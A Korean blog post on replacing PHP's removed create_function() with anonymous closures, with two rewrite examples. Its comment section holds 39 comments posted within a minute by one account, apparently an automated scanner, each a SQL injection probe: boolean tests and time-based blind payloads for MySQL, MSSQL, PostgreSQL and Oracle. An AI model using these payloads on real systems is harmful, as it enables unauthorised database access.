[PHP] Call to undefined function create_function()

Error #0 "Call to undefined function create_function()" in /.../???.php on line 21

   PHP 7.2부터 create_function 함수를 쓰지 말라는 비권장 경고문이 떴고(deprecated), PHP 8.0부터 create_function 함수를 쓸 수 없다. create_function 함수는 다음처럼 고쳐서 쓸 수 있다.

(1) 보기 ①

$output = preg_replace_callback($pattern_documents_area,create_function('$matches',"return preg_replace_callback('$pattern_image_tag', 'lazyloadImage', \$matches[0]);"), $output);

$output = preg_replace_callback($pattern_documents_area,function($matches) use($pattern_image_tag) {return preg_replace_callback($pattern_image_tag, 'lazyloadImage', $matches[0]);}, $output);

(2) 보기 ②

$callbacks[$delimiter] = create_function('$matches', "return '$delimiter' . strtolower(\$matches[1]);");

$callbacks[$delimiter] = function($matches) use ($delimiter) {
return $delimiter . strtolower($matches[1]);
};

※ 참고한 곳

2024/02/22 16:42 2024/02/22 16:42
글 걸기 주소 : 이 글에는 글을 걸 수 없습니다.

덧글을 달아 주세요

  1. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 2+918-918-1=0+0+0+1 --

  2. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 3+918-918-1=0+0+0+1 --

  3. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+918-918) --

  4. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+918-918) --

  5. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 2+606-606-1=0+0+0+1

  6. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 3+606-606-1=0+0+0+1

  7. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 3*2<(0+5+606-606)

  8. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1 OR 3*2>(0+5+606-606)

  9. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 2+30-30-1=0+0+0+1 --

  10. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 3+30-30-1=0+0+0+1 --

  11. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+30-30) --

  12. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+30-30) --

  13. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 2+889-889-1=0+0+0+1 or 'GRbnO4qa'='

  14. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 3+889-889-1=0+0+0+1 or 'GRbnO4qa'='

  15. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 3*2<(0+5+889-889) or 'GRbnO4qa'='

  16. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1' OR 3*2>(0+5+889-889) or 'GRbnO4qa'='

  17. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1" OR 2+394-394-1=0+0+0+1 --

  18. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1" OR 3+394-394-1=0+0+0+1 --

  19. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1" OR 3*2<(0+5+394-394) --

  20. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    -1" OR 3*2>(0+5+394-394) --

  21. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1*if(now()=sysdate(),sleep(15),0)

  22. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z

  23. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z

  24. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  25. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1-1; waitfor delay '0:0:15' --

  26. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1-1); waitfor delay '0:0:15' --

  27. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1-1 waitfor delay '0:0:15' --

  28. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1ZDnMnl5V'; waitfor delay '0:0:15' --

  29. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1-1 OR 891=(SELECT 891 FROM PG_SLEEP(15))--

  30. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1-1) OR 831=(SELECT 831 FROM PG_SLEEP(15))--

  31. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1-1)) OR 773=(SELECT 773 FROM PG_SLEEP(15))--

  32. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    160UcJykt' OR 292=(SELECT 292 FROM PG_SLEEP(15))--

  33. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1eGJs8ybw') OR 634=(SELECT 634 FROM PG_SLEEP(15))--

  34. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1jHhfRbKn')) OR 562=(SELECT 562 FROM PG_SLEEP(15))--

  35. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

  36. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  37. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    1'"

  38. fnfOzvSR 2026/04/28 04:24 고유주소 고치기 답하기

    @@Ei1f0

  39. fnfOzvSR 2026/04/28 04:25 고유주소 고치기 답하기

    1